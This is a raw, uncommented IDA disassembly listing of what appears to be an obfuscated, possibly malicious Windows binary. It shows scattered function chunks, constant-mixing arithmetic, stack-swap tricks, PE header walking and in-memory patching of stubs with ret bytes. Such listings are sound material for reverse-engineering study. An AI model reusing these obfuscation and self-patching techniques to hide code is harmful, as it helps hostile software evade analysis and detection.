		jmp	sub_442AFF
; END OF FUNCTION CHUNK	FOR sub_441030

; =============== S U B	R O U T	I N E =======================================



sub_44D6B7	proc near		; DATA XREF: y22d6.y.:loc_442010o
		call	sub_444581
		mov	ds:off_41E214, eax
		lea	eax, sub_43F112
		mov	byte ptr [eax],	0C3h
		jmp	loc_445761
sub_44D6B7	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D6D0	proc near		; CODE XREF: sub_40300B+4Ap
					; sub_449641-B88Cj
					; DATA XREF: ...

; FUNCTION CHUNK AT 00438C10 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0043AE6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D0BB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D617 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043DD14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004414F7 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441DBC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449CB4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0044BB92 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D3F4 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, edx
		jmp	loc_43DD14
sub_44D6D0	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44D6D9:				; CODE XREF: y22d6.y.:0044DACCj
		rol	ebp, 19h
		jmp	loc_44E19E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D246

loc_44D6E1:				; CODE XREF: sub_43D246+1Cj
		sub	edx, 0FD063DA0h
		add	edx, 89C10AC9h
		mov	[edx], eax
		pop	edx
		jmp	loc_4400CB
; END OF FUNCTION CHUNK	FOR sub_43D246
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CEE2

loc_44D6F5:				; CODE XREF: sub_43CEE2+Cj
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_44B404
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_4487DF
; END OF FUNCTION CHUNK	FOR sub_43CEE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_44D715:				; CODE XREF: sub_447C6F-B15Dj
		jge	loc_437663

loc_44D71B:				; CODE XREF: y22d6.y.:0043B533j
		jmp	loc_441FE3
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------

loc_44D720:				; CODE XREF: y22d6.y.:0043812Bj
		jmp	loc_43753E
; ---------------------------------------------------------------------------
		cmp	ebx, 0B790BCB5h
		jmp	loc_44BDC4

; =============== S U B	R O U T	I N E =======================================



sub_44D730	proc near		; CODE XREF: sub_40186E+4Bp
					; sub_44D730+5j
					; DATA XREF: ...
		call	sub_44D73B
		jmp	ds:off_41E0BC
sub_44D730	endp


; =============== S U B	R O U T	I N E =======================================



sub_44D73B	proc near		; CODE XREF: sub_448EB6:loc_43DAD3j
					; y22d6.y.:0044AE05j ...
		xchg	ecx, [esp+0]
		mov	edx, ecx
		jmp	loc_448FEF
sub_44D73B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44D746:				; CODE XREF: sub_448EB6:loc_43E399j
		jz	loc_43BE59
		jmp	loc_438664
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441A2B

loc_44D751:				; CODE XREF: sub_441A2B:loc_44B57Fj
		mov	edi, ecx
		xchg	edi, [esp+0]
		mov	ecx, edx
		call	sub_448BA0

loc_44D75D:				; CODE XREF: y22d6.y.:0043E55Bj
		jmp	loc_437E31
; END OF FUNCTION CHUNK	FOR sub_441A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44D762:				; CODE XREF: sub_44BCC2:loc_44B4C6j
		sub	eax, 1C812A10h
		cmp	eax, 2166089Eh
		jmp	loc_437D08
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
		lea	eax, [ebp-14h]
		push	eax
		call	sub_44A9DF
		mov	ds:dword_4413B0, eax
		cmp	ds:dword_4413B0, 0
		jnz	loc_44560E
		jmp	loc_43A12A

; =============== S U B	R O U T	I N E =======================================



sub_44D793	proc near		; CODE XREF: sub_4432B8:loc_440168p
					; y22d6.y.:0044261Fj
		xchg	eax, [esp+0]
		pop	eax
sub_44D793	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44D797:				; CODE XREF: sub_44B17B:loc_444318j
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4488C3
		jmp	loc_442702
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------

loc_44D7A8:				; CODE XREF: y22d6.y.:0043DA36j
		jno	loc_44A5AB
		mov	edi, [ebp+0]
		jmp	loc_43FE1D
; ---------------------------------------------------------------------------
		mov	[edx], ecx
		jmp	sub_43CB3F
; ---------------------------------------------------------------------------

loc_44D7BD:				; DATA XREF: sub_43B58Fo
		jo	loc_4480CA
		pop	edx
		call	sub_449AA9
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44D7C9:				; CODE XREF: sub_444D95+22CDj
		jmp	nullsub_258
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------

loc_44D7CE:				; CODE XREF: y22d6.y.:00437E2Cj
		jmp	loc_44E377
; ---------------------------------------------------------------------------
		xchg	edx, [ecx]
		jmp	sub_44137A
; ---------------------------------------------------------------------------

loc_44D7DA:				; CODE XREF: y22d6.y.:0044B176j
		and	edi, 1C5E5D89h

; =============== S U B	R O U T	I N E =======================================



sub_44D7E0	proc near		; CODE XREF: sub_43F9E0:loc_442085p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437853 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004395DC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043AC18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043C0EB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043D657 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440A66 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00442A7C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442B50 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004443C1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444994 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00447A8F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00447C2C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B5AA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044B67C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044BFB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D1DC SIZE 0000001E BYTES

		xchg	edi, [esp+4+var_4]
		pop	edi
		xchg	edi, [esp+0]
		jmp	loc_442A7C
sub_44D7E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449296

loc_44D7EC:				; CODE XREF: sub_449296+14j
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_449296
; ---------------------------------------------------------------------------

loc_44D7F0:				; CODE XREF: y22d6.y.:004410B2j
		jmp	loc_43EC76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448B71

loc_44D7F5:				; CODE XREF: sub_448B71+Dj
					; sub_449296+4j
		call	sub_4498DE

loc_44D7FA:				; CODE XREF: sub_44CFDF+1Bj
		jmp	loc_439893
; END OF FUNCTION CHUNK	FOR sub_448B71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C980

loc_44D7FF:				; CODE XREF: sub_44C980:loc_442FE8j
		mov	edx, edi
		pop	edi
		jns	loc_438B4D
		mov	eax, [esp+4+var_4]
		jmp	loc_44AC51
; END OF FUNCTION CHUNK	FOR sub_44C980
; ---------------------------------------------------------------------------

loc_44D810:				; CODE XREF: y22d6.y.:loc_43CAB9j
		mov	byte ptr [eax],	0C3h
		jmp	loc_44E276
; ---------------------------------------------------------------------------
		call	nullsub_18
		jmp	ds:dword_41E180
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[ebx+5AFFFF21h], eax
		mov	eax, [esp]
		push	edx
		jmp	loc_437BCF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_44D834:				; CODE XREF: sub_4475B3-5B74j
		jmp	loc_440473
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440B68

loc_44D839:				; CODE XREF: sub_440B68:loc_449C92j
		jmp	ds:off_41E018
; END OF FUNCTION CHUNK	FOR sub_440B68

; =============== S U B	R O U T	I N E =======================================



sub_44D83F	proc near		; CODE XREF: y22d6.y.:loc_43BE71j
					; sub_440B68p ...

; FUNCTION CHUNK AT 00445D35 SIZE 00000005 BYTES

		jb	loc_443364
		push	offset loc_438594
		jmp	loc_445D35
sub_44D83F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E037

loc_44D84F:				; CODE XREF: sub_43E037+4392j
		add	ecx, 624F4B54h
		xor	ecx, 0FDCF5338h
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		mov	al, [eax]
		jmp	loc_44D25D
; END OF FUNCTION CHUNK	FOR sub_43E037
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44D867:				; CODE XREF: sub_4432B8-1AC1j
		xchg	ebp, [edi]
		js	loc_43BE0E
		jmp	loc_437EA1
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_44D874:				; CODE XREF: y22d6.y.:004449ABj
		jb	loc_442CA1
		xchg	edx, [eax]
		jmp	loc_43C0EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44D881:				; CODE XREF: sub_448EB6:loc_43F005j
		mov	eax, offset dword_43C800
		mov	[ebp-4], eax
		mov	eax, offset dword_43C860
		mov	[ebp-8], eax
		sub	eax, ebp
		jmp	loc_4398F5
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D5BB

loc_44D898:				; CODE XREF: sub_43D5BB-2C19j
		jl	loc_44AB40
; END OF FUNCTION CHUNK	FOR sub_43D5BB
; START	OF FUNCTION CHUNK FOR sub_4431CD

loc_44D89E:				; CODE XREF: sub_4431CD+17E8j
		mov	eax, edx
		cmp	edi, 5B8B6977h
		jmp	loc_43DC2F
; END OF FUNCTION CHUNK	FOR sub_4431CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441AE7

loc_44D8AB:				; CODE XREF: sub_441AE7:loc_4480D9j
		and	ecx, 0B454F910h
		sub	ecx, 3E3C382Ah
		or	ecx, 782CC1DBh
		sub	ecx, 952AB64Eh
		add	ecx, 36A3137Ah
		add	eax, ecx
		jmp	loc_44DE99
; END OF FUNCTION CHUNK	FOR sub_441AE7
; ---------------------------------------------------------------------------

loc_44D8D0:				; DATA XREF: sub_44057E-1734o
		add	eax, ebp
		add	eax, 39B687ADh
		mov	eax, [eax]
		mov	eax, [eax]
		jmp	loc_43D1CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E14E

loc_44D8E1:				; CODE XREF: sub_44E14E:loc_43A721j
		add	ebx, 0DDF1F2E9h
		popf
		pop	edx
		jmp	loc_43D7FB
; END OF FUNCTION CHUNK	FOR sub_44E14E
; ---------------------------------------------------------------------------

loc_44D8EE:				; CODE XREF: y22d6.y.:0043C165j
		and	ebx, 0C17C322Eh

; =============== S U B	R O U T	I N E =======================================



sub_44D8F4	proc near		; CODE XREF: sub_43EFB1+12p
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp-14h]
		jmp	loc_44E40D
sub_44D8F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D900:				; CODE XREF: y22d6.y.:loc_43A863j
		jnb	loc_439519
		add	esp, 0FFFFFFCCh
		lea	eax, nullsub_59
		mov	byte ptr [eax],	0C3h
		push	ebp
		mov	ebp, esi
		jmp	loc_44DBA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4496E3

loc_44D91A:				; CODE XREF: sub_4496E3+Fj
		pop	eax
		xor	eax, 6B05FF2Ch
		and	eax, 73DEBCC6h
		rol	eax, 0Ah
		jmp	loc_440E94
; END OF FUNCTION CHUNK	FOR sub_4496E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BA9E

loc_44D92F:				; CODE XREF: sub_43BA9E+7098j
		push	eax
		call	sub_43AD2F
		test	eax, eax
		jz	loc_4422D0
		jmp	loc_438161
; END OF FUNCTION CHUNK	FOR sub_43BA9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_44D942:				; CODE XREF: sub_44CDB7-10063j
					; sub_43B98D:loc_445B37j
		sbb	edi, 257DF143h
		ja	loc_44B212

loc_44D94E:				; CODE XREF: sub_44CDB7:loc_43CD4Dj
		rol	edx, 9
		xor	edx, 413BF111h
		add	edx, ebp
		push	eax
		push	2382EF8Eh
		jmp	loc_4490E4
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------

loc_44D964:				; CODE XREF: y22d6.y.:loc_43CDD7j
					; y22d6.y.:00441466j
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_438D05
		jmp	loc_4384FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B656

loc_44D975:				; CODE XREF: sub_43B656:loc_445B90j
					; sub_448EB6:loc_4470ACj
		rol	eax, 0Eh
		sub	eax, 0DC537DD1h
		rol	eax, 1
		push	edx
		push	5F440A46h
		pop	edx
		jmp	loc_44E225
; END OF FUNCTION CHUNK	FOR sub_43B656
; ---------------------------------------------------------------------------

loc_44D98C:				; CODE XREF: y22d6.y.:0043B556j
		adc	ebp, 0DC74C013h

loc_44D992:				; CODE XREF: y22d6.y.:004402DAj
		xor	eax, 3378A4B3h
		call	sub_43CA1A
		push	offset aQhU?nybLAbTU ; "Qh=u?­YÁL$}Ét]Ò¹#\rã"
		jmp	locret_444477
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_44D9A7:				; CODE XREF: sub_448C77:loc_43D782j
		jge	loc_444494

loc_44D9AD:				; CODE XREF: sub_44D02E+Ej
		jmp	loc_4475CC
; END OF FUNCTION CHUNK	FOR sub_448C77
; ---------------------------------------------------------------------------
		xchg	edx, esi
		jmp	loc_444488
; ---------------------------------------------------------------------------
		push	ecx
		push	18B10FCBh
		pop	ecx
		and	ecx, 46284154h
		xor	ecx, 0B2B50A4Ah
		add	ecx, 22E78A64h
		jmp	loc_442AF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439595

loc_44D9D7:				; CODE XREF: sub_439595:loc_44A9ADj
		xchg	ebx, [esp+0]
		call	sub_4388E5
		jmp	loc_437353
; END OF FUNCTION CHUNK	FOR sub_439595
; ---------------------------------------------------------------------------
		jmp	loc_4433BB
; ---------------------------------------------------------------------------

loc_44D9E9:				; CODE XREF: y22d6.y.:0043E58Dj
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_44D9F0:				; CODE XREF: sub_447C6F-9701j
		or	[edx-8], eax
		jmp	loc_44DBFD
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------

loc_44D9F8:				; CODE XREF: y22d6.y.:0043B529j
					; y22d6.y.:0043E577j
		cmp	dword ptr [ebp-10h], 1
		jnz	loc_442EC5
		jmp	loc_443404
; ---------------------------------------------------------------------------

loc_44DA07:				; CODE XREF: y22d6.y.:loc_444659j
		jl	loc_444335
		cmp	ebx, 18CD3754h
		jmp	loc_444329
; ---------------------------------------------------------------------------

loc_44DA18:				; CODE XREF: y22d6.y.:004486F5j
		jns	loc_43C27A
; START	OF FUNCTION CHUNK FOR sub_437FD8

loc_44DA1E:				; CODE XREF: sub_437FD8:loc_43AB65j
		sub	edx, 0C36F0458h
		or	edx, 6387FB00h
		xor	edx, 4DE9C59h
		jmp	loc_43FEFE
; END OF FUNCTION CHUNK	FOR sub_437FD8
; ---------------------------------------------------------------------------

loc_44DA35:				; DATA XREF: sub_441C04:loc_4386DDo
		jz	loc_44DA43
		mov	eax, [ebp-0Ch]
		call	sub_4480DE
; START	OF FUNCTION CHUNK FOR sub_4385ED

loc_44DA43:				; CODE XREF: sub_43EC51+15j
					; sub_43D20E+2603j ...
		mov	eax, [ebp-0Ch]
		jmp	loc_4484A8
; END OF FUNCTION CHUNK	FOR sub_4385ED

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44DA4B	proc near		; DATA XREF: y22d6.y.:00439CDBo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C726 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443BEF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449C97 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044BC22 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044D35B SIZE 00000011 BYTES

		xchg	edi, [esp+4+var_4]
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	esp, ebp
		pop	ebp
		push	0F8DD1E15h
		jmp	loc_44BC22
sub_44DA4B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E185

loc_44DA63:				; CODE XREF: sub_43E185-6FF2j
		pop	ebx
		and	ebx, 7A9C97D1h
		rol	ebx, 6
		xor	ebx, 10737A7h
		add	ebx, ebp
		jmp	loc_43858A
; END OF FUNCTION CHUNK	FOR sub_43E185
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44DA7A:				; CODE XREF: sub_4432B8:loc_437E96j
		mov	eax, ecx
		jnp	loc_43E9D9
		jmp	loc_43CD35
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================



sub_44DA87	proc near		; CODE XREF: sub_43F8FE-8369p
					; sub_44AA69-12096j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004477C5 SIZE 0000000B BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		popf
		add	eax, ebx
		xchg	eax, [esp-8+arg_4]
		mov	ebx, eax
		jmp	loc_4477C5
sub_44DA87	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DA98	proc near		; CODE XREF: y22d6.y.:0043BD5Dj
					; y22d6.y.:00442D40p

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004487A6 SIZE 0000001A BYTES

		xchg	eax, [esp+8+var_8]
		pop	eax
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		jmp	loc_4487A6
sub_44DA98	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DAA6	proc near		; CODE XREF: y22d6.y.:00438DDCj
					; sub_43A6E1+8902p

; FUNCTION CHUNK AT 00449344 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		lea	eax, nullsub_6
		mov	byte ptr [eax],	0C3h
		jmp	loc_449344
sub_44DAA6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DAB8:				; CODE XREF: y22d6.y.:00437813j
		mov	eax, [esp]
		push	eax
		jmp	loc_44188C
; ---------------------------------------------------------------------------

loc_44DAC1:				; DATA XREF: sub_448EB6:loc_449122o
		push	eax
		push	0A4D8A8h
		xchg	ebp, [esp]
		mov	eax, ebp
		jmp	loc_44D6D9
; ---------------------------------------------------------------------------
		sbb	edx, 10DEB17Eh
		jge	sub_44BB81
		jmp	sub_444AD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44DAE2:				; CODE XREF: sub_44057E+3AD8j
		mov	esi, ebp
		mov	esi, [esi]
		add	esi, eax
		mov	[ebp+0], esi
		jmp	loc_44DD22
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44DAF0:				; CODE XREF: sub_448EB6-E116j
		jnz	loc_4483F7
		and	ebx, esi
		push	ebp
		adc	esi, 0B883F0E9h

loc_44DAFF:				; CODE XREF: sub_448EB6:loc_448F38j
		push	eax
		push	offset sub_43FFC2
		jmp	nullsub_261
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		sbb	edx, esi
		jmp	loc_439A5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44DB11:				; CODE XREF: sub_4450FD:loc_445CFBj
		jnz	loc_44DEEB
		jmp	loc_44C679
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
		push	966CA7AAh
		xchg	edi, [esp]
		mov	eax, edi
		pop	edi
		or	eax, 4DDBF6Bh
		sub	eax, 78A4AC92h
		test	eax, 80h
		jmp	loc_43967E

; =============== S U B	R O U T	I N E =======================================



sub_44DB3E	proc near		; CODE XREF: y22d6.y.:0043D5B3j
					; sub_43C5EE+E9A9p

; FUNCTION CHUNK AT 00439159 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E3E8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00444C8C SIZE 00000020 BYTES

		xchg	edi, [esp+0]
		pop	edi

loc_44DB42:				; CODE XREF: y22d6.y.:loc_43D581j
		xor	ecx, 5ED1DA41h
		sub	eax, ecx
		jmp	loc_43E3E8
sub_44DB3E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44DB4F	proc near		; DATA XREF: sub_440AF5+6o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043A937 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441C93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444B98 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B17 SIZE 00000013 BYTES

		xchg	edi, [esp+0]
		mov	[ebp-4], eax
		push	6B09D887h
		xchg	edx, [esp+4+var_4]
		mov	eax, edx
		pop	edx

loc_44DB60:				; CODE XREF: sub_438B66:loc_442A31j
		xor	eax, ds:4000E2h
		cmp	eax, 0E176ABAEh
		jmp	loc_441C93
sub_44DB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_44DB71	proc near		; CODE XREF: sub_44C3E5j
					; DATA XREF: sub_43DB23+E8B8o
		mov	eax, [esp+0]
		push	edx
		call	sub_444541

loc_44DB7A:				; CODE XREF: sub_44C622+13j
		jmp	nullsub_14
sub_44DB71	endp

; ---------------------------------------------------------------------------

loc_44DB7F:				; CODE XREF: y22d6.y.:00440CCEj
		and	ecx, ebp

; =============== S U B	R O U T	I N E =======================================



sub_44DB81	proc near		; CODE XREF: sub_43C55B:loc_4446AEp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00437A1C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004380D3 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00439B65 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043B10F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044137E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0044423D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004450D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0044564C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004456D5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445F7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447A69 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00449371 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A915 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C616 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044DEDF SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044E044 SIZE 00000017 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	edx, eax
		call	sub_44D088
		call	sub_44A9DF
		jmp	loc_44A915
sub_44DB81	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44DB97:				; CODE XREF: y22d6.y.:0043DD23j
		push	833007F7h
		jmp	loc_4417A9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_375. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44DBA2:				; CODE XREF: sub_4450FD-C66Ej
		jmp	loc_43EF56
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------

loc_44DBA7:				; CODE XREF: y22d6.y.:0044D915j
		xchg	ebp, [esp]
		push	5C64650Bh
		pop	esi
		add	esi, 1F94D4E9h
		cmp	esi, 6E0B040Ah
		jmp	loc_43F3C5
; ---------------------------------------------------------------------------
		test	eax, 1A7EA1D0h

loc_44DBC7:				; CODE XREF: y22d6.y.:loc_445110j
		jmp	loc_4484D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_44DBCC:				; CODE XREF: sub_4481EF:loc_43BED8j
		push	0CC513467h
		sub	ebx, edi
		jo	loc_43F7C9
		rol	esi, 17h
		jmp	loc_442BD2
; END OF FUNCTION CHUNK	FOR sub_4481EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EC1C

loc_44DBE1:				; CODE XREF: sub_43EC1C:loc_4384AAj
		jz	loc_43EF03
		jmp	loc_449B96
; END OF FUNCTION CHUNK	FOR sub_43EC1C
; ---------------------------------------------------------------------------
		sub	ebp, 3A848893h
		jmp	sub_440A88
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438077

loc_44DBF7:				; CODE XREF: sub_438077:loc_43EAAFj
		jl	loc_43CA6D
; END OF FUNCTION CHUNK	FOR sub_438077
; START	OF FUNCTION CHUNK FOR sub_447C6F

loc_44DBFD:				; CODE XREF: sub_447C6F+5D84j
		jmp	loc_444D67
; END OF FUNCTION CHUNK	FOR sub_447C6F
; ---------------------------------------------------------------------------

loc_44DC02:				; CODE XREF: y22d6.y.:0044AD75j
		jmp	sub_44D3B1
; ---------------------------------------------------------------------------

loc_44DC07:				; CODE XREF: y22d6.y.:0044141Aj
		jmp	sub_43CA62
; ---------------------------------------------------------------------------
		xchg	edx, [ebx]
		not	ebp
		jmp	loc_43CA6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_44DC15:				; CODE XREF: sub_43D20E:loc_443009j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_44A9DF
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_44C161
		jmp	loc_440FD6
; END OF FUNCTION CHUNK	FOR sub_43D20E
; ---------------------------------------------------------------------------

loc_44DC33:				; CODE XREF: y22d6.y.:loc_44E11Fj
		ror	ebp, 10h
		jmp	loc_43E1C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E5C2

loc_44DC3B:				; CODE XREF: sub_43E5C2-1A5Dj
		jl	loc_44549C
		popf
		jmp	loc_443A7C
; END OF FUNCTION CHUNK	FOR sub_43E5C2
; ---------------------------------------------------------------------------
		rol	ebx, 8

loc_44DC4A:				; CODE XREF: y22d6.y.:loc_43D167j
		jg	loc_44DEC0
		jmp	loc_4429A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44057E

loc_44DC55:				; CODE XREF: sub_44057E:loc_43D68Cj
		xor	esi, 61C5E7A9h
		and	esi, 8BBE74DFh
		xor	esi, 0E89357D3h
		jnz	loc_4415A5
		or	eax, 73DC89D9h
		jmp	loc_441599
; END OF FUNCTION CHUNK	FOR sub_44057E
; ---------------------------------------------------------------------------

loc_44DC78:				; CODE XREF: y22d6.y.:00442EE9j
		and	eax, ebp
		ror	eax, 6
; START	OF FUNCTION CHUNK FOR sub_440494

loc_44DC7D:				; CODE XREF: sub_440494:loc_442ED3j
		add	edi, 0DF181060h
		mov	[edi], eax
		jmp	loc_44C69F
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_44DC8A:				; CODE XREF: sub_43A148:loc_43C1C7j
		pop	ecx
		xor	ecx, 0B8F3CD68h
		js	loc_43B041
		and	edx, esi
		add	ebp, 0BE3C7522h

loc_44DC9F:				; CODE XREF: y22d6.y.:loc_444D8Fj
		jmp	loc_43B041
; END OF FUNCTION CHUNK	FOR sub_43A148

; =============== S U B	R O U T	I N E =======================================



